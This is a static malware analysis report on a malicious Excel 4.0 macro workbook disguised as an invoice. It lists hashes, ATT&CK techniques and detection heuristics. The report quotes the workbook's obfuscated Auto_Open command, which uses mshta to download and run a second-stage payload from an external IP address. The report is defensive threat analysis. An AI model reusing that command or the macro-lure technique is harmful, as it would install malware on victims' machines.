Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 49f8e9418b3f8e05…

MALICIOUS

Office (OLE) / .XLS

63.0 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: f462d98032f4442c14ab4b6bdf076109 SHA-1: ea2cd60b28958a6bffc040df95bbdcb708b89122 SHA-256: 49f8e9418b3f8e0564053382446e93b06c8bf54b50afd07680bf9bfc364f1658
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.005 Service Execution: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet. It uses a common lure by presenting itself as an invoice and instructing the user to 'Enable Editing' and 'Enable Content' to view the information. The embedded XLM macro contains an Auto_Open defined name that executes the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html'. This command is designed to download a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
1b5d2c0fd960b0ccb52c9814b8358c9c313741806cb2c5ef8340a3322e5a67a4
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1391 bytes